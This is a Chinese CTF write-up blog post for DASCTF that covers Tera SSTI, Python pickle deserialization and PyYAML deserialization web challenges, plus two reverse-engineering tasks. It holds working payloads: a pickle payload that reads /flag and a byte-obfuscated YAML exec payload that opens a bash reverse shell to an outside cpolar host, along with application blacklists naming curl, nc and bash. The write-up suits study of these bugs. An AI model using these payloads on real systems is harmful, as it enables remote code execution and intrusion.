Featured image of post DASCTF

DASCTF

Chicken

1.签到题

进入容器发现会先在https://game.wetolink.com/停留一段时间然后会跳转到https://game.gcsis.cn/compete/home/8c3adb14b154482

一开始以为是类似于需要“买东西”之类的WEB题,需要获取管理员权限,更改数据之类的操作

后根据hint,发现只需要扫一下https://game.wetolink.com/,发现robots.txt,访问robots.txt得到flag

2.西湖论剑邀请函获取器

因为题目里有上传图片文件的功能以及会有管理员看见的字样,以为是XSS,但没发现注入点

后hint中说“队名好像可以 81 ”、“是 Rust 吗(喜)”、 “不用RCE,拿到环境变量FLAG的内容即可。”

在FLAG兑换区域输入”81“,返回“81”说明存在SSTI

由题可知,这道题是RUST写的。查询资料得知RUST中常见的WEB模板有:

Tera

1
Tera 是Rust中一个高性能的模板引擎,类似于Jinja2(Python)和Liquid(Ruby)。它支持复杂的模板功能,但如果输入没有得到适当的验证,攻击者可能会通过注入模板代码来触发SSTI漏洞。

Tera GitHub

Askama

1
Askama 是另一个Rust模板引擎,采用编译时模板渲染。它是基于Rust的类型系统,模板是在编译时进行检查的,这意味着在某些情况下可以避免SSTI攻击,因其不允许任意的动态代码执行。

Askama GitHub

Handlebars

1
Handlebars 是一个流行的模板引擎,Rust中的实现通常为 handlebars-rust。与其他模板引擎一样,如果不当使用,也可能导致SSTI漏洞。

Handlebars GitHub

查询得知这道题使用Tera模板

Tera的SSTI

在其中有

1
2
3
So, the session store used by the application is a CookieStore, where the secret used comes from the SECRET environment variable! So, if we can leak the SECRET env var, we could sign our own sessions with arbitrary data (since the complete session data is stored in the cookie).

Okay, let's do this. Following Tera's format, we can leak the session with {{ get_env(name="SECRET") }}:

可以发现这道题也是没法RCE但可以泄露环境变量,但显然CORCTF中的这道题更难(毕竟DASCTF中的这道签到题只是其中的一个知识点)

所以我们知道在Tera 中利用SSTI读取环境变量可以使用 get_env 这个内置函数,其格式为:

1
{{ get_env(name="SECRET") }}

我们要读FLAG的内容,所以payload为

1
{{ get_env(name="FLAG") }}  

得到flag

WEB

const_python

有一说一,这次 const_python 和 yaml_matser 两道WEB题都没回显,第一次做这样的题,所以很不适应

hint提示在 /src 中可以读到源码,进入其中直接得到一部分源码,还有一部分源码藏在HTML注释里,源码是用Python写的

源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
plaintext
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

发现一共三个路由, /src、/ppicklee 和 /admin

进入/admin 路由中提示没有权限,以为是要通过更改SESSID获取管理员权限,来得到flag 但是这道题三个路由中都没有Cooike,无法成功

再读源码,发现可以/ppicklee 路由中存在防火墙,所以绕过防火墙,看看能否从 /ppicklee 路由中得到什么 使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import pickle
import base64

# 使用 subprocess 来绕过
class Exploit:
def __reduce__(self):
    return (getattr, ('subprocess', 'Popen', ('cat /flag',)))

# 创建恶意对象
exploit_obj = Exploit()

# 将恶意对象序列化为 pickle 数据
pickled_data = pickle.dumps(exploit_obj)

# 编码为 base64
encoded_data = base64.b64encode(pickled_data).decode()

print(encoded_data)

使用POSTman传参,发现只能得到 success pickle 无法得到flag,遂放弃

后由WP可知,因为 src 路由会读取 app.py 内容并输出,所以可以尝试先读取flag,再把flag的内容写入到 app.py

可以使用pker:

Pker

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
getattr = GLOBAL('builtins', 'getattr')

open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return  

在 ppicklee 路由中传参,然后在 src 路由中得到flag

这道题涉及pickle反序列化,在这里粘一个pickle反序列化相关的博客

Pickle反序列化初探

yaml_matser

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
plaintext
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

进入发现有文件上传功能,而且只能上传 .yaml 文件

一开始尝试直接输出flag,使用

1
2
3
4
5
!!python/object:__main__.MyClass
args: !!python/tuple
- !!python/name:globals
- "os.system"
- "echo hello"

无果

由WP得知这是一道pyYaml反序列化

PyYaml反序列化漏洞详解

黑名单中采用了列举法来防止攻击,可以从这里入手,发现没有禁exec

上传内容:

1
2
3
4
5
6
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: '__import__(bytes([111,115]).decode()).__getattribute__(bytes([115,121,115,116,101,109]).decode())(bytes([98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 51, 49, 46, 116, 99, 112, 46, 99, 112, 111, 108, 97, 114, 46, 116, 111, 112, 32, 49, 51, 49, 57, 48, 32, 48, 62, 38, 49]
).decode())'

#__import__('os').__getattribute__('system')('bash -i >& /dev/tcp/31.tcp.cpolar.top 13190  0>&1')

建立反向shell,得到flag

Reverse

tryre

根据提供的代码片段,可以看到这是一个混合了 Base64 编码、异或操作和字符映射的加密验证逻辑。我们需要逆向每一步操作来编写解密脚本,以还原原始的输入字符串。 以下是解密过程的分步解析和 Python 脚本实现: 解密步骤解析 1.Base64 映射表(aZyxabcdefghijk) 自定义的 Base64 字符映射表:

1
ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/

加密时使用了这个映射表对数据进行编码,解密时需要反向查找映射。 2.加密数据(v21): 加密的目标字符串为:

1
M@ASL3MF~uL3ICT2IhUgKSD2IeDsICH7Hd26HhQgKSOhNCX7TVL3UFMeHi2?

3.Base64 编码逻辑 数据被分为 3字节一组,经过位移和分组操作映射到 Base64 表的索引中。 解密时需要逆向这些位移和组装操作,还原原始的字节序列。

4.异或操作: 在加密过程中,最终的 Base64 编码结果被逐字节与 2进行异或操作。 解密时需要再次逐字节与 2 进行异或操作,恢复原始数据。

验证逻辑:解密后的数据与 v21 逐字节对比,如果完全相同,则验证通过

使用如下脚本进行解码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# 自定义 Base64 字符映射表
custom_base64 = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
reverse_base64 = {char: idx for idx, char in enumerate(custom_base64)}

# 加密数据
encrypted = "M@ASL3MF`uL3ICT2IhUgKSD2IeDsICH7Hd26HhQgKSQhNCX7TVL3UFMeHi2?"


# 解密:逐字节异或还原
def xor_decrypt(data, key=2):
    return ''.join(chr(ord(char) ^ key) for char in data)


# 解密:Base64 自定义表解码
def custom_base64_decode(data):
    decoded_bytes = []
    for i in range(0, len(data), 4):
        chunk = data[i:i + 4]

        # 处理填充字符 '='
        padding = chunk.count('=')
        chunk = chunk.replace('=', 'A')  # 临时替换填充字符,用于解码

        # 逐字节解码
        b1 = reverse_base64[chunk[0]] << 2 | reverse_base64[chunk[1]] >> 4
        b2 = (reverse_base64[chunk[1]] & 0xF) << 4 | reverse_base64[chunk[2]] >> 2
        b3 = (reverse_base64[chunk[2]] & 0x3) << 6 | reverse_base64[chunk[3]]

        decoded_bytes.extend([b1, b2, b3])

        # 根据填充字符调整解码结果
        if padding > 0:
            decoded_bytes = decoded_bytes[:-padding]

    return bytes(decoded_bytes)


# 解密过程
def decrypt(encrypted):
    # Step 1: 逐字节异或还原
    after_xor = xor_decrypt(encrypted)

    # Step 2: 使用自定义 Base64 表解码
    decoded = custom_base64_decode(after_xor)

    return decoded.decode('utf-8')


# 调用解密函数
try:
    decrypted = decrypt(encrypted)
    print("解密结果:", decrypted)
except Exception as e:
    print("解密失败:", e)

运行得到flag

secret_of_inkey

进入发现是小游戏

可以玩出flag来(bushi)

在WP中看到了一个有趣的解法 :使用pyautogui来进行自动化脚本操作。

pyautogui(控制鼠标键盘)GitHub官方文档翻译

Payautogui

payautogui是一个Python模块,可以以编程的方式控制键鼠 使用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import pyautogui
import time
from pywinauto.application import Application

print("脚本将在3秒后开始运行...")
time.sleep(3)

start_x, start_y, end_x, end_y = 900, 210, 2080, 1390

grid = []
key = []

grid.append(565)
key.append('9fc82e15d9de6ef2')

# 初始化一个集合用于记录已访问的网格位置
visited = set()
visited.add(565)

while len(grid):
    current_grid = grid.pop()
    current_key = key.pop()

    grid_x = start_x + 38 * (current_grid % 31) + 5
    grid_y = start_y + 38 * (current_grid // 31) + 16

    pyautogui.click(grid_x, grid_y)
    time.sleep(0.3)
    pyautogui.typewrite(current_key + '\n')
    time.sleep(0.3)

    try:
        app = Application(backend="uia").connect(title="Right!")
        dialog = app.window(title="Right!")
        static_text = dialog.child_window(control_type="Text")
        text = static_text.window_text()
    except Exception as e:
        print(f"无法连接到窗口: {e}")
        continue

    pyautogui.typewrite('\n')

    print(text)
    if 'true' in text.lower():
        break
    if 'nothing' in text.lower():
        continue

    t = text.split('\n')
    print(t)

    # 假设每一行都有足够的长度,添加异常处理以避免索引错误
    for i in range(min(4, len(t))):
        try:
            new_key = t[i][-17:-1]
            new_grid = int(t[i][7:10])

            if new_grid not in visited:
                key.append(new_key)
                grid.append(new_grid)
                visited.add(new_grid)  # 标记为已访问
        except (ValueError, IndexError) as e:
            print(f"解析第 {i} 行时出错: {e}")
            continue

    print("当前已访问的网格数量:", len(visited))
    print("待处理的key:", key)
    print("待处理的grid:", grid)

得到flag

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计